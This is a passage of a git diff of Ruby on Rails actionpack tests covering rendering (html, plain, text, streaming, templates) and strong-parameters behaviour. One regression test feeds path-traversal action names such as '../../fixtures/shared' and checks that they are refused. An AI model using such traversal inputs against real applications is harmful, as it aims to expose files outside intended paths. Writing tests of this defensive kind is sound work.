+    test "rendering text with nil returns an empty body" do
+      get "/render_html/with_layout/with_nil"
+
+      assert_body ""
+      assert_status 200
+    end
+
+    test "Rendering text with nil and custom status code returns an empty body and the status" do
+      get "/render_html/with_layout/with_nil_and_status"
+
+      assert_body ""
+      assert_status 403
+    end
+
+    test "rendering text with false returns the string 'false'" do
+      get "/render_html/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering text with layout: true" do
+      get "/render_html/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering text with layout: 'greetings'" do
+      get "/render_html/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "rendering text with layout: false" do
+      get "/render_html/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering text with layout: nil" do
+      get "/render_html/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering html should escape the string if it is not html safe" do
+      get "/render_html/with_layout/with_unsafe_html_tag"
+
+      assert_body "&lt;p&gt;hello world&lt;/p&gt;"
+      assert_status 200
+    end
+
+    test "rendering html should not escape the string if it is html safe" do
+      get "/render_html/with_layout/with_safe_html_tag"
+
+      assert_body "<p>hello world</p>"
+      assert_status 200
+    end
+
+    test "rendering from minimal controller returns response with text/html content type" do
+      get "/render_html/minimal/index"
+      assert_content_type "text/html"
+    end
+
+    test "rendering from normal controller returns response with text/html content type" do
+      get "/render_html/simple/index"
+      assert_content_type "text/html; charset=utf-8"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb
index 1e2191d417..5b4885f7e0 100644
--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb
+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb
@@ -6,7 +6,7 @@ module RenderImplicitAction
       "render_implicit_action/simple/hello_world.html.erb"     => "Hello world!",
       "render_implicit_action/simple/hyphen-ated.html.erb"     => "Hello hyphen-ated!",
       "render_implicit_action/simple/not_implemented.html.erb" => "Not Implemented"
-    )]
+    ), ActionView::FileSystemResolver.new(File.expand_path('../../../controller', __FILE__))]
 
     def hello_world() end
   end
@@ -33,10 +33,25 @@ module RenderImplicitAction
       assert_status 200
     end
 
+    test "render does not traverse the file system" do
+      assert_raises(AbstractController::ActionNotFound) do
+        action_name = %w(.. .. fixtures shared).join(File::SEPARATOR)
+        SimpleController.action(action_name).call(Rack::MockRequest.env_for("/"))
+      end
+    end
+
     test "available_action? returns true for implicit actions" do
       assert SimpleController.new.available_action?(:hello_world)
       assert SimpleController.new.available_action?(:"hyphen-ated")
       assert SimpleController.new.available_action?(:not_implemented)
     end
+
+    test "available_action? does not allow File::SEPARATOR on the name" do
+      action_name = %w(evil .. .. path).join(File::SEPARATOR)
+      assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+
+      action_name = %w(evil path).join(File::SEPARATOR)
+      assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+    end
   end
 end
diff --git a/actionpack/test/controller/new_base/render_layout_test.rb b/actionpack/test/controller/new_base/render_layout_test.rb
index 4ac40ca405..7ab3777026 100644
--- a/actionpack/test/controller/new_base/render_layout_test.rb
+++ b/actionpack/test/controller/new_base/render_layout_test.rb
@@ -86,7 +86,7 @@ module ControllerLayouts
     XML_INSTRUCT = %Q(<?xml version="1.0" encoding="UTF-8"?>\n)
 
     test "if XML is selected, an HTML template is not also selected" do
-      get :index, :format => "xml"
+      get :index, params: { format: "xml" }
       assert_response XML_INSTRUCT
     end
 
@@ -96,7 +96,7 @@ module ControllerLayouts
     end
 
     test "a layout for JS is ignored even if explicitly provided for HTML" do
-      get :explicit, { :format => "js" }
+      get :explicit, params: { format: "js" }
       assert_response "alert('foo');"
     end
   end
@@ -120,7 +120,7 @@ module ControllerLayouts
     testing ControllerLayouts::FalseLayoutMethodController
 
     test "access false layout returned by a method/proc" do
-      get :index, :format => "js"
+      get :index, params: { format: "js" }
       assert_response "alert('foo');"
     end
   end
diff --git a/actionpack/test/controller/new_base/render_plain_test.rb b/actionpack/test/controller/new_base/render_plain_test.rb
new file mode 100644
index 0000000000..0e36d36b50
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_plain_test.rb
@@ -0,0 +1,168 @@
+require 'abstract_unit'
+
+module RenderPlain
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render plain: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render plain: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.text.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.text.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.text.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render plain: "hello david"
+    end
+
+    def custom_code
+      render plain: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render plain: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render plain: nil
+    end
+
+    def with_nil_and_status
+      render plain: nil, status: 403
+    end
+
+    def with_false
+      render plain: false
+    end
+
+    def with_layout_true
+      render plain: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render plain: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render plain: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render plain: "hello world", layout: "greetings"
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render plain: "hello world", layout: "ivar"
+    end
+  end
+
+  class RenderPlainTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_plain/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering text from an action with default options renders the text with the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_plain/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text from an action with default options renders the text without the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_plain/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text, while also providing a custom status code" do
+      get "/render_plain/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering text with nil returns an empty body" do
+      get "/render_plain/with_layout/with_nil"
+
+      assert_body ""
+      assert_status 200
+    end
+
+    test "Rendering text with nil and custom status code returns an empty body and the status" do
+      get "/render_plain/with_layout/with_nil_and_status"
+
+      assert_body ""
+      assert_status 403
+    end
+
+    test "rendering text with false returns the string 'false'" do
+      get "/render_plain/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering text with layout: true" do
+      get "/render_plain/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering text with layout: 'greetings'" do
+      get "/render_plain/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "rendering text with layout: false" do
+      get "/render_plain/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering text with layout: nil" do
+      get "/render_plain/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering from minimal controller returns response with text/plain content type" do
+      get "/render_plain/minimal/index"
+      assert_content_type "text/plain"
+    end
+
+    test "rendering from normal controller returns response with text/plain content type" do
+      get "/render_plain/simple/index"
+      assert_content_type "text/plain; charset=utf-8"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
index f4bdd3e1d4..9ea056194a 100644
--- a/actionpack/test/controller/new_base/render_streaming_test.rb
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -4,7 +4,7 @@ module RenderStreaming
   class BasicController < ActionController::Base
     self.view_paths = [ActionView::FixtureResolver.new(
       "render_streaming/basic/hello_world.html.erb" => "Hello world",
-      "render_streaming/basic/boom.html.erb" => "<%= nil.invalid! %>",
+      "render_streaming/basic/boom.html.erb" => "<%= raise 'Ruby was here!' %>",
       "layouts/application.html.erb" => "<%= yield %>, I'm here!",
       "layouts/boom.html.erb" => "<body class=\"<%= nil.invalid! %>\"<%= yield %></body>"
     )]
@@ -90,14 +90,14 @@ module RenderStreaming
       begin
         get "/render_streaming/basic/template_exception"
         io.rewind
-        assert_match "(undefined method `invalid!' for nil:NilClass)", io.read
+        assert_match "Ruby was here!", io.read
       ensure
-        ActionController::Base.logger = _old
+        ActionView::Base.logger = _old
       end
     end
 
     test "do not stream on HTTP/1.0" do
-      get "/render_streaming/basic/hello_world", nil, "HTTP_VERSION" => "HTTP/1.0"
+      get "/render_streaming/basic/hello_world", headers: { "HTTP_VERSION" => "HTTP/1.0" }
       assert_body "Hello world, I'm here!"
       assert_status 200
       assert_equal "22", headers["Content-Length"]
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
index 6b2ae2b2a9..19fef718e7 100644
--- a/actionpack/test/controller/new_base/render_template_test.rb
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -9,12 +9,12 @@ module RenderTemplate
       "locals.html.erb"            => "The secret is <%= secret %>",
       "xml_template.xml.builder"   => "xml.html do\n  xml.p 'Hello'\nend",
       "with_raw.html.erb"          => "Hello <%=raw '<strong>this is raw</strong>' %>",
-      "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a html template",
+      "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in an html template",
       "with_implicit_raw.text.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a text template",
       "test/with_json.html.erb"    => "<%= render :template => 'test/with_json', :formats => [:json] %>",
       "test/with_json.json.erb"    => "<%= render :template => 'test/final', :formats => [:json]  %>",
       "test/final.json.erb"        => "{ final: json }",
-      "test/with_error.html.erb"   => "<%= idontexist %>"
+      "test/with_error.html.erb"   => "<%= raise 'i do not exist' %>"
     )]
 
     def index
@@ -45,6 +45,10 @@ module RenderTemplate
       render :template => "locals", :locals => { :secret => 'area51' }
     end
 
+    def with_locals_without_key
+      render "locals", :locals => { :secret => 'area51' }
+    end
+
     def builder_template
       render :template => "xml_template"
     end
@@ -101,8 +105,13 @@ module RenderTemplate
       assert_response "The secret is area51"
     end
 
+    test "rendering a template with local variables without key" do
+      get :with_locals
+      assert_response "The secret is area51"
+    end
+
     test "rendering a builder template" do
-      get :builder_template, "format" => "xml"
+      get :builder_template, params: { "format" => "xml" }
       assert_response "<html>\n  <p>Hello</p>\n</html>\n"
     end
 
@@ -114,10 +123,10 @@ module RenderTemplate
 
       get :with_implicit_raw
 
-      assert_body "Hello <strong>this is also raw</strong> in a html template"
+      assert_body "Hello <strong>this is also raw</strong> in an html template"
       assert_status 200
 
-      get :with_implicit_raw, format: 'text'
+      get :with_implicit_raw, params: { format: 'text' }
 
       assert_body "Hello <strong>this is also raw</strong> in a text template"
       assert_status 200
@@ -132,7 +141,7 @@ module RenderTemplate
     test "rendering a template with error properly excerts the code" do
       get :with_error
       assert_status 500
-      assert_match "undefined local variable or method `idontexist", response.body
+      assert_match "i do not exist", response.body
     end
   end
 
diff --git a/actionpack/test/controller/new_base/render_test.rb b/actionpack/test/controller/new_base/render_test.rb
index 5635e16234..11a19ab783 100644
--- a/actionpack/test/controller/new_base/render_test.rb
+++ b/actionpack/test/controller/new_base/render_test.rb
@@ -74,7 +74,7 @@ module Render
         end
 
         assert_raises(AbstractController::DoubleRenderError) do
-          get "/render/double_render", {}, "action_dispatch.show_exceptions" => false
+          get "/render/double_render", headers: { "action_dispatch.show_exceptions" => false }
         end
       end
     end
@@ -84,13 +84,13 @@ module Render
     # Only public methods on actual controllers are callable actions
     test "raises an exception when a method of Object is called" do
       assert_raises(AbstractController::ActionNotFound) do
-        get "/render/blank_render/clone", {}, "action_dispatch.show_exceptions" => false
+        get "/render/blank_render/clone", headers: { "action_dispatch.show_exceptions" => false }
       end
     end
 
     test "raises an exception when a private method is called" do
       assert_raises(AbstractController::ActionNotFound) do
-        get "/render/blank_render/secretz", {}, "action_dispatch.show_exceptions" => false
+        get "/render/blank_render/secretz", headers: { "action_dispatch.show_exceptions" => false }
       end
     end
   end
diff --git a/actionpack/test/controller/new_base/render_text_test.rb b/actionpack/test/controller/new_base/render_text_test.rb
index d6c3926a4d..10bad57cd6 100644
--- a/actionpack/test/controller/new_base/render_text_test.rb
+++ b/actionpack/test/controller/new_base/render_text_test.rb
@@ -1,11 +1,20 @@
 require 'abstract_unit'
 
 module RenderText
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render text: "Hello World!"
+    end
+  end
+
   class SimpleController < ActionController::Base
     self.view_paths = [ActionView::FixtureResolver.new]
 
     def index
-      render :text => "hello david"
+      render text: "hello david"
     end
   end
 
@@ -17,55 +26,61 @@ module RenderText
     )]
 
     def index
-      render :text => "hello david"
+      render text: "hello david"
     end
 
     def custom_code
-      render :text => "hello world", :status => 404
+      render text: "hello world", status: 404
     end
 
     def with_custom_code_as_string
-      render :text => "hello world", :status => "404 Not Found"
+      render text: "hello world", status: "404 Not Found"
     end
 
     def with_nil
-      render :text => nil
+      render text: nil
     end
 
     def with_nil_and_status
-      render :text => nil, :status => 403
+      render text: nil, status: 403
     end
 
     def with_false
-      render :text => false
+      render text: false
     end
 
     def with_layout_true
-      render :text => "hello world", :layout => true
+      render text: "hello world", layout: true
     end
 
     def with_layout_false
-      render :text => "hello world", :layout => false
+      render text: "hello world", layout: false
     end
 
     def with_layout_nil
-      render :text => "hello world", :layout => nil
+      render text: "hello world", layout: nil
     end
 
     def with_custom_layout
-      render :text => "hello world", :layout => "greetings"
+      render text: "hello world", layout: "greetings"
     end
 
     def with_ivar_in_layout
       @ivar = "hello world"
-      render :text => "hello world", :layout => "ivar"
+      render text: "hello world", layout: "ivar"
     end
   end
 
   class RenderTextTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_text/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
     test "rendering text from an action with default options renders the text with the layout" do
       with_routing do |set|
-        set.draw { get ':controller', :action => 'index' }
+        set.draw { get ':controller', action: 'index' }
 
         get "/render_text/simple"
         assert_body "hello david"
@@ -75,7 +90,7 @@ module RenderText
 
     test "rendering text from an action with default options renders the text without the layout" do
       with_routing do |set|
-        set.draw { get ':controller', :action => 'index' }
+        set.draw { get ':controller', action: 'index' }
 
         get "/render_text/with_layout"
 
@@ -91,17 +106,17 @@ module RenderText
       assert_status 404
     end
 
-    test "rendering text with nil returns an empty body padded for Safari" do
+    test "rendering text with nil returns an empty body" do
       get "/render_text/with_layout/with_nil"
 
-      assert_body " "
+      assert_body ""
       assert_status 200
     end
 
-    test "Rendering text with nil and custom status code returns an empty body padded for Safari and the status" do
+    test "Rendering text with nil and custom status code returns an empty body and the status" do
       get "/render_text/with_layout/with_nil_and_status"
 
-      assert_body " "
+      assert_body ""
       assert_status 403
     end
 
@@ -112,28 +127,28 @@ module RenderText
       assert_status 200
     end
 
-    test "rendering text with :layout => true" do
+    test "rendering text with layout: true" do
       get "/render_text/with_layout/with_layout_true"
 
       assert_body "hello world, I'm here!"
       assert_status 200
     end
 
-    test "rendering text with :layout => 'greetings'" do
+    test "rendering text with layout: 'greetings'" do
       get "/render_text/with_layout/with_custom_layout"
 
       assert_body "hello world, I wish thee well."
       assert_status 200
     end
 
-    test "rendering text with :layout => false" do
+    test "rendering text with layout: false" do
       get "/render_text/with_layout/with_layout_false"
 
       assert_body "hello world"
       assert_status 200
     end
 
-    test "rendering text with :layout => nil" do
+    test "rendering text with layout: nil" do
       get "/render_text/with_layout/with_layout_nil"
 
       assert_body "hello world"
diff --git a/actionpack/test/controller/parameters/accessors_test.rb b/actionpack/test/controller/parameters/accessors_test.rb
new file mode 100644
index 0000000000..97875c3cbb
--- /dev/null
+++ b/actionpack/test/controller/parameters/accessors_test.rb
@@ -0,0 +1,125 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+require 'active_support/core_ext/hash/transform_values'
+
+class ParametersAccessorsTest < ActiveSupport::TestCase
+  setup do
+    @params = ActionController::Parameters.new(
+      person: {
+        age: '32',
+        name: {
+          first: 'David',
+          last: 'Heinemeier Hansson'
+        },
+        addresses: [{city: 'Chicago', state: 'Illinois'}]
+      }
+    )
+  end
+
+  test "[] retains permitted status" do
+    @params.permit!
+    assert @params[:person].permitted?
+    assert @params[:person][:name].permitted?
+  end
+
+  test "[] retains unpermitted status" do
+    assert_not @params[:person].permitted?
+    assert_not @params[:person][:name].permitted?
+  end
+
+  test "each carries permitted status" do
+    @params.permit!
+    @params.each { |key, value| assert(value.permitted?) if key == "person" }
+  end
+
+  test "each carries unpermitted status" do
+    @params.each { |key, value| assert_not(value.permitted?) if key == "person" }
+  end
+
+  test "each_pair carries permitted status" do
+    @params.permit!
+    @params.each_pair { |key, value| assert(value.permitted?) if key == "person" }
+  end
+
+  test "each_pair carries unpermitted status" do
+    @params.each_pair { |key, value| assert_not(value.permitted?) if key == "person" }
+  end
+
+  test "except retains permitted status" do
+    @params.permit!
+    assert @params.except(:person).permitted?
+    assert @params[:person].except(:name).permitted?
+  end
+
+  test "except retains unpermitted status" do
+    assert_not @params.except(:person).permitted?
+    assert_not @params[:person].except(:name).permitted?
+  end
+
+  test "fetch retains permitted status" do
+    @params.permit!
+    assert @params.fetch(:person).permitted?
+    assert @params[:person].fetch(:name).permitted?
+  end
+
+  test "fetch retains unpermitted status" do
+    assert_not @params.fetch(:person).permitted?
+    assert_not @params[:person].fetch(:name).permitted?
+  end
+
+  test "reject retains permitted status" do
+    assert_not @params.reject { |k| k == "person" }.permitted?
+  end
+
+  test "reject retains unpermitted status" do
+    @params.permit!
+    assert @params.reject { |k| k == "person" }.permitted?
+  end
+
+  test "select retains permitted status" do
+    @params.permit!
+    assert @params.select { |k| k == "person" }.permitted?
+  end
+
+  test "select retains unpermitted status" do
+    assert_not @params.select { |k| k == "person" }.permitted?
+  end
+
+  test "slice retains permitted status" do
+    @params.permit!
+    assert @params.slice(:person).permitted?
+  end
+
+  test "slice retains unpermitted status" do
+    assert_not @params.slice(:person).permitted?
+  end
+
+  test "transform_keys retains permitted status" do
+    @params.permit!
+    assert @params.transform_keys { |k| k }.permitted?
+  end
+
+  test "transform_keys retains unpermitted status" do
+    assert_not @params.transform_keys { |k| k }.permitted?
+  end
+
+  test "transform_values retains permitted status" do
+    @params.permit!
+    assert @params.transform_values { |v| v }.permitted?
+  end
+
+  test "transform_values retains unpermitted status" do
+    assert_not @params.transform_values { |v| v }.permitted?
+  end
+
+  test "values_at retains permitted status" do
+    @params.permit!
+    assert @params.values_at(:person).first.permitted?
+    assert @params[:person].values_at(:name).first.permitted?
+  end
+
+  test "values_at retains unpermitted status" do
+    assert_not @params.values_at(:person).first.permitted?
+    assert_not @params[:person].values_at(:name).first.permitted?
+  end
+end
diff --git a/actionpack/test/controller/parameters/always_permitted_parameters_test.rb b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
new file mode 100644
index 0000000000..059f310d49
--- /dev/null
+++ b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
@@ -0,0 +1,29 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class AlwaysPermittedParametersTest < ActiveSupport::TestCase
+  def setup
+    ActionController::Parameters.action_on_unpermitted_parameters = :raise
+    ActionController::Parameters.always_permitted_parameters = %w( controller action format )
+  end
+
+  def teardown
+    ActionController::Parameters.action_on_unpermitted_parameters = false
+    ActionController::Parameters.always_permitted_parameters = %w( controller action )
+  end
+
+  test "shows deprecations warning on NEVER_UNPERMITTED_PARAMS" do
+    assert_deprecated do
+       ActionController::Parameters::NEVER_UNPERMITTED_PARAMS
+    end
+  end
+
+  test "permits parameters that are whitelisted" do
+    params = ActionController::Parameters.new({
+      book: { pages: 65 },
+      format: "json"
+    })
+    permitted = params.permit book: [:pages]
+    assert permitted.permitted?
+  end
+end
diff --git a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
index 22e603b881..9ce04b9aeb 100644
--- a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
+++ b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
@@ -10,23 +10,45 @@ class LogOnUnpermittedParamsTest < ActiveSupport::TestCase
     ActionController::Parameters.action_on_unpermitted_parameters = false
   end
 
-  test "logs on unexpected params" do
+  test "logs on unexpected param" do
     params = ActionController::Parameters.new({
       book: { pages: 65 },
       fishing: "Turnips"
     })
 
-    assert_logged("Unpermitted parameters: fishing") do
+    assert_logged("Unpermitted parameter: fishing") do
       params.permit(book: [:pages])
     end
   end
 
-  test "logs on unexpected nested params" do
+  test "logs on unexpected params" do
+    params = ActionController::Parameters.new({
+      book: { pages: 65 },
+      fishing: "Turnips",
+      car: "Mersedes"
+    })
+
+    assert_logged("Unpermitted parameters: fishing, car") do
+      params.permit(book: [:pages])
+    end
+  end
+
+  test "logs on unexpected nested param" do
     params = ActionController::Parameters.new({
       book: { pages: 65, title: "Green Cats and where to find then." }
     })
 
-    assert_logged("Unpermitted parameters: title") do
+    assert_logged("Unpermitted parameter: title") do
+      params.permit(book: [:pages])
+    end
+  end
+
+  test "logs on unexpected nested params" do
+    params = ActionController::Parameters.new({
+      book: { pages: 65, title: "Green Cats and where to find then.", author: "G. A. Dog" }
+    })
+
+    assert_logged("Unpermitted parameters: title, author") do
       params.permit(book: [:pages])
     end
   end
diff --git a/actionpack/test/controller/parameters/mutators_test.rb b/actionpack/test/controller/parameters/mutators_test.rb
new file mode 100644
index 0000000000..744d8664be
--- /dev/null
+++ b/actionpack/test/controller/parameters/mutators_test.rb
@@ -0,0 +1,99 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+require 'active_support/core_ext/hash/transform_values'
+
+class ParametersMutatorsTest < ActiveSupport::TestCase
+  setup do
+    @params = ActionController::Parameters.new(
+      person: {
+        age: '32',
+        name: {
+          first: 'David',
+          last: 'Heinemeier Hansson'
+        },
+        addresses: [{city: 'Chicago', state: 'Illinois'}]
+      }
+    )
+  end
+
+  test "delete retains permitted status" do
+    @params.permit!
+    assert @params.delete(:person).permitted?
+  end
+
+  test "delete retains unpermitted status" do
+    assert_not @params.delete(:person).permitted?
+  end
+
+  test "delete_if retains permitted status" do
+    @params.permit!
+    assert @params.delete_if { |k| k == "person" }.permitted?
+  end
+
+  test "delete_if retains unpermitted status" do
+    assert_not @params.delete_if { |k| k == "person" }.permitted?
+  end
+
+  test "extract! retains permitted status" do
+    @params.permit!
+    assert @params.extract!(:person).permitted?
+  end
+
+  test "extract! retains unpermitted status" do
+    assert_not @params.extract!(:person).permitted?
+  end
+
+  test "keep_if retains permitted status" do
+    @params.permit!
+    assert @params.keep_if { |k,v| k == "person" }.permitted?
+  end
+
+  test "keep_if retains unpermitted status" do
+    assert_not @params.keep_if { |k,v| k == "person" }.permitted?
+  end
+
+  test "reject! retains permitted status" do
+    @params.permit!
+    assert @params.reject! { |k| k == "person" }.permitted?
+  end
+
+  test "reject! retains unpermitted status" do
+    assert_not @params.reject! { |k| k == "person" }.permitted?
+  end
+
+  test "select! retains permitted status" do
+    @params.permit!
+    assert @params.select! { |k| k != "person" }.permitted?
+  end
+
+  test "select! retains unpermitted status" do
+    assert_not @params.select! { |k| k != "person" }.permitted?
+  end
+
+  test "slice! retains permitted status" do
+    @params.permit!
+    assert @params.slice!(:person).permitted?
+  end
+
+  test "slice! retains unpermitted status" do
+    assert_not @params.slice!(:person).permitted?
+  end
+
+  test "transform_keys! retains permitted status" do
+    @params.permit!
+    assert @params.transform_keys! { |k| k }.permitted?
+  end
+
+  test "transform_keys! retains unpermitted status" do
+    assert_not @params.transform_keys! { |k| k }.permitted?
+  end
+
+  test "transform_values! retains permitted status" do
+    @params.permit!
+    assert @params.transform_values! { |v| v }.permitted?
+  end
+
+  test "transform_values! retains unpermitted status" do
+    assert_not @params.transform_values! { |v| v }.permitted?
+  end
+end
diff --git a/actionpack/test/controller/parameters/nested_parameters_test.rb b/actionpack/test/controller/parameters/nested_parameters_test.rb
index 91df527dec..3b1257e8d5 100644
--- a/actionpack/test/controller/parameters/nested_parameters_test.rb
+++ b/actionpack/test/controller/parameters/nested_parameters_test.rb
@@ -169,4 +169,19 @@ class NestedParametersTest < ActiveSupport::TestCase
 
     assert_filtered_out permitted[:book][:authors_attributes]['-1'], :age_of_death
   end
+
+  test "nested number as key" do
+    params = ActionController::Parameters.new({
+      product: {
+        properties: {
+          '0' => "prop0",
+          '1' => "prop1"
+        }
+      }
+    })
+    params = params.require(:product).permit(:properties => ["0"])
+    assert_not_nil        params[:properties]["0"]
+    assert_nil            params[:properties]["1"]
+    assert_equal "prop0", params[:properties]["0"]
+  end
 end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
index 437da43d9b..2ed486516d 100644
--- a/actionpack/test/controller/parameters/parameters_permit_test.rb
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -8,9 +8,16 @@ class ParametersPermitTest < ActiveSupport::TestCase
   end
 
   setup do
-    @params = ActionController::Parameters.new({ person: {
-      age: "32", name: { first: "David", last: "Heinemeier Hansson" }
-    }})
+    @params = ActionController::Parameters.new(
+      person: {
+        age: '32',
+        name: {
+          first: 'David',
+          last: 'Heinemeier Hansson'
+        },
+        addresses: [{city: 'Chicago', state: 'Illinois'}]
+      }
+    )
 
     @struct_fields = []
     %w(0 1 12).each do |number|
@@ -107,6 +114,15 @@ class ParametersPermitTest < ActiveSupport::TestCase
     assert_equal [], permitted[:id]
   end
 
+  test 'do not break params filtering on nil values' do
+    params = ActionController::Parameters.new(a: 1, b: [1, 2, 3], c: nil)
+
+    permitted = params.permit(:a, c: [], b: [])
+    assert_equal 1, permitted[:a]
+    assert_equal [1, 2, 3], permitted[:b]
+    assert_equal nil, permitted[:c]
+  end
+
   test 'key to empty array: arrays of permitted scalars pass' do
     [['foo'], [1], ['foo', 'bar'], [1, 2, 3]].each do |array|
       params = ActionController::Parameters.new(id: array)
@@ -138,45 +154,44 @@ class ParametersPermitTest < ActiveSupport::TestCase
     assert_equal :foo, e.param
   end
 
-  test "fetch doesnt raise ParameterMissing exception if there is a default" do
-    assert_equal "monkey", @params.fetch(:foo, "monkey")
-    assert_equal "monkey", @params.fetch(:foo) { "monkey" }
+  test "fetch with a default value of a hash does not mutate the object" do
+    params = ActionController::Parameters.new({})
+    params.fetch :foo, {}
+    assert_equal nil, params[:foo]
   end
 
-  test "not permitted is sticky on accessors" do
-    assert !@params.slice(:person).permitted?
-    assert !@params[:person][:name].permitted?
-    assert !@params[:person].except(:name).permitted?
-
-    @params.each { |key, value| assert(!value.permitted?) if key == "person" }
-
-    assert !@params.fetch(:person).permitted?
-
-    assert !@params.values_at(:person).first.permitted?
+  test 'hashes in array values get wrapped' do
+    params = ActionController::Parameters.new(foo: [{}, {}])
+    params[:foo].each do |hash|
+      assert !hash.permitted?
+    end
   end
 
-  test "permitted is sticky on accessors" do
-    @params.permit!
-    assert @params.slice(:person).permitted?
-    assert @params[:person][:name].permitted?
-    assert @params[:person].except(:name).permitted?
-
-    @params.each { |key, value| assert(value.permitted?) if key == "person" }
-
-    assert @params.fetch(:person).permitted?
-
-    assert @params.values_at(:person).first.permitted?
+  # Strong params has an optimization to avoid looping every time you read
+  # a key whose value is an array and building a new object. We check that
+  # optimization here.
+  test 'arrays are converted at most once' do
+    params = ActionController::Parameters.new(foo: [{}])
+    assert_same params[:foo], params[:foo]
   end
 
-  test "not permitted is sticky on mutators" do
-    assert !@params.delete_if { |k| k == "person" }.permitted?
-    assert !@params.keep_if { |k,v| k == "person" }.permitted?
+  # Strong params has an internal cache to avoid duplicated loops in the most
+  # common usage pattern. See the docs of the method `converted_arrays`.
+  #
+  # This test checks that if we push a hash to an array (in-place modification)
+  # the cache does not get fooled, the hash is still wrapped as strong params,
+  # and not permitted.
+  test 'mutated arrays are detected' do
+    params = ActionController::Parameters.new(users: [{id: 1}])
+
+    permitted = params.permit(users: [:id])
+    permitted[:users] << {injected: 1}
+    assert_not permitted[:users].last.permitted?
   end
 
-  test "permitted is sticky on mutators" do
-    @params.permit!
-    assert @params.delete_if { |k| k == "person" }.permitted?
-    assert @params.keep_if { |k,v| k == "person" }.permitted?
+  test "fetch doesnt raise ParameterMissing exception if there is a default" do
+    assert_equal "monkey", @params.fetch(:foo, "monkey")
+    assert_equal "monkey", @params.fetch(:foo) { "monkey" }
   end
 
   test "not permitted is sticky beyond merges" do
@@ -206,6 +221,7 @@ class ParametersPermitTest < ActiveSupport::TestCase
     assert @params.permitted?
     assert @params[:person].permitted?
     assert @params[:person][:name].permitted?
+    assert @params[:person][:addresses][0].permitted?
   end
 
   test "permitted takes a default value when Parameters.permit_all_parameters is set" do
@@ -225,4 +241,49 @@ class ParametersPermitTest < ActiveSupport::TestCase
   test "permitting parameters as an array" do
     assert_equal "32", @params[:person].permit([ :age ])[:age]
   end
+
+  test "to_h returns empty hash on unpermitted params" do
+    assert @params.to_h.is_a? Hash
+    assert_not @params.to_h.is_a? ActionController::Parameters
+    assert @params.to_h.empty?
+  end
+
+  test "to_h returns converted hash on permitted params" do
+    @params.permit!
+
